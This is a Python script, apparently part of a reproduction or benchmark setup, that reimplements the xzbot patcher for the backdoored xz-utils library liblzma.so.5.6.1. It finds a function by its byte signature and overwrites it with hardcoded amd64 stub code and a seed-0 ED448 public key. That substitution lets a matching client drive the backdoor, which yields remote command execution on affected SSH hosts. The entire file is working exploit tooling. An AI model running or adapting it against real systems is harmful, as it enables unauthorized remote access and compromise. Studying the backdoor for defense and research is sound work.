#!/usr/bin/env python3
# Dependency-free reimplementation of amlweems/xzbot patch.py
# (https://github.com/amlweems/xzbot, patch.py). This does NOT modify any
# vulnerable project source: it performs the criterion-mandated ED448 public-key
# substitution on the *backdoored binary* liblzma.so.5.6.1, swapping the
# attacker's hardcoded ED448 public key for the seed=0 test key so a seed=0
# signing client can drive the backdoor.
#
# The replacement payload (static-key stub + seed=0 ED448 public key) is the
# exact byte sequence emitted by xzbot's patch.py under
# context(arch='amd64', os='linux'); the assembled machine code is baked here so
# no assembler/pwntools is required at build time.
import os
import sys

if len(sys.argv) != 2 or not os.path.exists(sys.argv[1]):
    print("usage: patch_ed448.py <path-to-liblzma.so.5.6.1>")
    sys.exit(1)

path = sys.argv[1]

# generate_key bytes from backdoored v5.6.0 (locator signature; xzbot patch.py)
func = bytes.fromhex(
    'f30f1efa4885ff0f848e000000415455'
    '534889f34881eca00000004885f67504'
    '31c0eb6b4c8b4e084d85c974f34889e2'
    '31c0488d6c24304989fcb90c00000048'
    '89d74989e8be30000000f3abb91c0000'
    '004889eff3ab488d4c24204889d7'
)
flen = 160

# Assembled replacement stub (pwntools asm output of xzbot patch.py 'p', amd64).
stub = bytes.fromhex(
    '56488d3548000000488b06488907488b'
    '460848894708488b461048894710488b'
    '461848894718488b462048894720488b'
    '462848894728488b463048894730488b'
    '463848894738b8010000005ec3909090'
)

# ed448 public key for seed 0 (xzbot patch.py)
key = bytes.fromhex(
    '5b3afe03878a49b28232d4f1a442aebd'
    'e109f807acef7dfd9a7f65b962fe52d6'
    '547312cacecff04337508f9d2529a8f1'
    '669169b21c32c48000'
)

p = stub + key
p += b'\x00' * (flen - len(p))
assert len(p) == flen, "replacement length mismatch"

with open(path, 'rb') as f:
    lzma = f.read()

if func not in lzma:
    print('Could not identify func')
    sys.exit(1)

off = lzma.index(func)
print('Patching func at offset: ' + hex(off))
with open(path, 'wb') as f:
    f.write(lzma[:off] + p + lzma[off + flen:])
print('Patched (ED448 key -> seed=0) in place: ' + path)
